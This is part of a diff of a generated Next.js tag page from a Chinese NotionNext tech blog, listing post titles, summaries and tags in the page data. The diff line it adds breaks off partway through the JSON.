shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"spring"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"spring"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas 